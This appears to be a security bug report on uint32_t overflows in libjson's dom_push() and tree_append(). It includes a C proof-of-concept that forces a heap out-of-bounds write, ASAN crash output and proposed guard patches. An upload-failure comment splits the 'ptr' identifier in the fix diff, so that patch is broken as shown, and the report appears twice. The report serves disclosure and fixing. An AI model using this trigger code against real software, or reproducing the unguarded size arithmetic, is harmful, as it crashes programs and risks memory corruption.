Summary
libjson's dom_push() (json.c:986) computes new buffer sizes using uint32_t multiplication without overflow
guards. When stack_size reaches 0x80000000 or above, stack_size * 2 wraps to a tiny value in uint32_t,
causing realloc to shrink the stack buffer. Subsequent writes use the original, un-wrapped stack_offset,
resulting in a heap out-of-bounds write and SIGSEGV. The same overflow pattern also exists in tree_append()
(jsonlint.c:296,320) via length + 2 addition.
Affected Code
| File |
Function |
Line |
json.c |
dom_push() |
986–991 |
jsonlint.c |
tree_append() (object branch) |
296–301 |
jsonlint.c |
tree_append() (array branch) |
320–327 |
Root Cause
dom_push — multiplication overflow (json.c:986)
static int dom_push(struct json_parser_dom *ctx, void *val)
{
if (ctx->stack_offset == ctx->stack_size) {
void *ptr;
uint32_t newsize = ctx->stack_size * 2; // ← overflow: wraps to e.g. 2
ptr = memory_realloc(ctx->user_realloc, ctx->stack,
newsize * sizeof(*(ctx->stack)));
if (!ptr)
return JSON_ERROR_NO_MEMORY;
ctx->stack = ptr; // ← buffer now ~48 bytes
ctx->stack_size = newsize; // ← e.g. 2
}
ctx->stack[ctx->stack_offset].val = val; // ← OOB: offset is 0x80000001
ctx->stack[ctx->stack_offset].key = NULL;
ctx->stack[ctx->stack_offset].key_length = 0;
ctx->stack_offset++;
return 0;
}
- Input:
stack_size = stack_offset = 0x80000001
- Overflow:
0x80000001 * 2 = 0x00000002 (wraps in uint32_t)
- Consequence:
realloc shrinks buffer to 2 × 24 = 48 bytes, then stack[0x80000001] writes ~96 GB past
the allocation
tree_append — addition overflow (jsonlint.c:296,320)
uint32_t newsize = parent->length + 1 + 1; // wraps when length >= 0xFFFFFFFE
Same pattern — newsize wraps, realloc shrinks, then the original length is used as the index for the OOB
write. Reaching ~4 billion elements is impractical in normal operation, so this path is lower severity.
Proof of Concept
#include <stdlib.h>
#include <string.h>
#include "json.h"
static void *cs(int n, int o) { (void)n; (void)o; return malloc(1); }
static void *cd(int t, const char *d, uint32_t l) { (void)t; return malloc(l+1); }
static int ap(void *p, char *k, uint32_t kl, void *v)
{ (void)p; (void)k; (void)kl; (void)v; return 0; }
int main(void) {
json_parser_dom dom;
memset(&dom, 0, sizeof(dom));
dom.stack_size = 1024;
dom.stack = calloc(dom.stack_size, sizeof(*dom.stack));
dom.create_structure = cs;
dom.create_data = cd;
dom.append = ap;
dom.stack_offset = 0x80000001;
dom.stack_size = 0x80000001;
/*
* dom_push: newsize = 0x80000001 * 2 → wraps to 2 in uint32_t
* realloc shrinks stack to 2 × sizeof(elem) = 48 bytes
* stack[0x80000001].val = v → heap OOB write → CRASH
*/
json_parser_dom_callback(&dom, JSON_ARRAY_BEGIN, NULL, 0);
return 0;
}
Compile and run:
gcc -fsanitize=address -g -o poc poc.c json.c && ./poc
ASAN output:
==197875==ERROR: AddressSanitizer: SEGV on unknown address 0x504c00000028
#0 dom_push /libjson/json.c:994
#1 json_parser_dom_callback /libjson/json.c:1043
#2 main /libjson/poc.c:41
#3 __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: SEGV /libjson/json.c:994 in dom_push
Without ASAN the process exits with SIGSEGV (139).
Attack Chain
stack_size = stack_offset ≥ 0x80000000 (externally settable fields)
│
▼
dom_push: newsize = stack_size * 2 → wraps to ~2
│
▼
realloc(stack, newsize * 24) → shrinks buffer to ~48 bytes
│
▼
stack[0x80000001].val = val → writes 96 GB past allocation
│
▼
SIGSEGV → process crash (DoS) / potential heap metadata corruption
Impact
| Attack vector |
Impact |
Direct json_parser_dom_callback() API call |
SIGSEGV — process crash (DoS) |
Normal json_parser_string() parsing |
Not reachable — state machine cannot produce ≥ 2³¹ nesting |
jsonlint CLI (tree_append overflow) |
Requires ~4 billion elements per object/array (impractical) |
| 32-bit platforms |
Higher risk: sizeof(ptr) × newsize also participates in overflow |
| 64-bit platforms |
Only newsize wraps; newsize × sizeof(...) is promoted to size_t |
Proposed Fix
Fix — dom_push() overflow guard (json.c:985)
static int dom_push(struct json_parser_dom *ctx, void *val)
{
if (ctx->stack_offset == ctx->stack_size) {
void *ptr;
- uint32_t newsize = ctx->stack_size * 2;
+ uint32_t newsize;
+ if (ctx->stack_size > UINT32_MAX / 2)
+ return JSON_ERROR_NO_MEMORY;
+ newsize = ctx->stack_size * 2;
+ if (newsize > SIZE_MAX / sizeof(*(ctx->stack)))
+ return JSON_ERROR_NO_MEMORY;
p
<!-- Failed to upload "poc_n3.c" -->
tr = memory_realloc(ctx->user_realloc, ctx->stack,
newsize * sizeof(*(ctx->stack)));
Fix — tree_append() overflow guard (jsonlint.c:296,320)
+ if (parent->length >= UINT32_MAX - 1)
+ return 0;
uint32_t newsize = parent->length + 1 + 1;
Environment
- libjson version: latest master
- OS: Linux x86_64 / Windows (MinGW)
- Compiler: GCC (with and without
-fsanitize=address)
References
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write
- CERT C INT30-C: Ensure that unsigned integer operations do not wrap
Summary
libjson's
dom_push()(json.c:986) computes new buffer sizes usinguint32_tmultiplication without overflowguards. When
stack_sizereaches0x80000000or above,stack_size * 2wraps to a tiny value inuint32_t,causing
reallocto shrink the stack buffer. Subsequent writes use the original, un-wrappedstack_offset,resulting in a heap out-of-bounds write and SIGSEGV. The same overflow pattern also exists in
tree_append()(
jsonlint.c:296,320) vialength + 2addition.Affected Code
json.cdom_push()jsonlint.ctree_append()(object branch)jsonlint.ctree_append()(array branch)Root Cause
dom_push— multiplication overflow (json.c:986)stack_size = stack_offset = 0x800000010x80000001 * 2 = 0x00000002(wraps inuint32_t)reallocshrinks buffer to2 × 24 = 48bytes, thenstack[0x80000001]writes ~96 GB pastthe allocation
tree_append— addition overflow (jsonlint.c:296,320)Same pattern —
newsizewraps,reallocshrinks, then the originallengthis used as the index for the OOBwrite. Reaching ~4 billion elements is impractical in normal operation, so this path is lower severity.
Proof of Concept
Compile and run:
gcc -fsanitize=address -g -o poc poc.c json.c && ./pocASAN output:
Without ASAN the process exits with SIGSEGV (139).
Attack Chain
Impact
json_parser_dom_callback()API calljson_parser_string()parsingjsonlintCLI (tree_appendoverflow)sizeof(ptr) × newsizealso participates in overflownewsizewraps;newsize × sizeof(...)is promoted tosize_tProposed Fix
Fix —
dom_push()overflow guard (json.c:985)static int dom_push(struct json_parser_dom *ctx, void *val) { if (ctx->stack_offset == ctx->stack_size) { void *ptr; - uint32_t newsize = ctx->stack_size * 2; + uint32_t newsize; + if (ctx->stack_size > UINT32_MAX / 2) + return JSON_ERROR_NO_MEMORY; + newsize = ctx->stack_size * 2; + if (newsize > SIZE_MAX / sizeof(*(ctx->stack))) + return JSON_ERROR_NO_MEMORY; p <!-- Failed to upload "poc_n3.c" --> tr = memory_realloc(ctx->user_realloc, ctx->stack, newsize * sizeof(*(ctx->stack)));Fix —
tree_append()overflow guard (jsonlint.c:296,320)Environment
-fsanitize=address)References